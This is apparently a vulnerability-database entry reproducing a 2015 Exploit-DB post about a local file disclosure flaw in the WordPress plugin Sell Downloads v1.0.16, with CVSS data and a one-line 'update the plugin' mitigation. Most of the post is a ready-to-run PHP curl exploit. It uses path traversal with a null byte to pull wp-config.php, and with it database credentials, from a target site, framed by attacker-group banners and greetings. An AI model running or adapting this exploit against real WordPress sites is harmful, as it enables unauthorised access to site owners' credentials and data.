Wordpress Plugin Sell Download v1.0.16 Local File Disclosure Vulnerability

vendor:

Sell Downloads

by:

KedAns-Dz

7,5

CVSS

HIGH

Local File Disclosure

200

CWE

Product Name: Sell Downloads

Affected Version From: v1.0.16

Affected Version To: v1.0.16

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP/WebApp

2015

WordPress Plugin Sell Download v1.0.16 Local File Disclosure Vulnerability

Wordpress plugin Sell Download v1.0.16 is suffer from Local File Disclosure Vulnerability remote attacker can disclosure some local files.

Mitigation:

Update to the latest version of the plugin

Source

Exploit-DB raw data:

###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
#     *----------------------------*      #
#  K  |....##...##..####...####....|  .   #
#  h  |....#...#........#..#...#...|  A   #
#  a  |....#..#.........#..#....#..|  N   #
#  l  |....###........##...#.....#.|  S   #
#  E  |....#.#..........#..#....#..|  e   #
#  D  |....#..#.........#..#...#...|  u   #
#  .  |....##..##...####...####....|  r   #
#     *----------------------------*      #
#-----------------------------------------#
#[ Copyright (c) 2015 | Dz Offenders Cr3w]#
#-----------------------------------------#
###########################################
# >>    D_x . Made In Algeria . x_Z    << #
###########################################
#
# [>] Title : Wordpress Plugin Sell Download v1.0.16 Local File Disclosure Vulnerability
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : File Disclosure
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [!] Vendor : http://wordpress.dwbooster.com/content-tools/sell-downloads
#
###########################################
#
# [!] Description :
#
# Wordpress plugin Sell Download v1.0.16 is suffer from Local File Disclosure Vulnerability
# remote attacker can disclosure some local files.
#
####

<?php
// page : sell-downloads.php
// lines : 119, 130.. 131

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target].com/wp-content/plugins/sell-downloads/sell-downloads.php?file=../../../../../../../../.././wp-config.php%00");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

####
#  <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
#  Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , 
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz  , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & 
# PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ;
####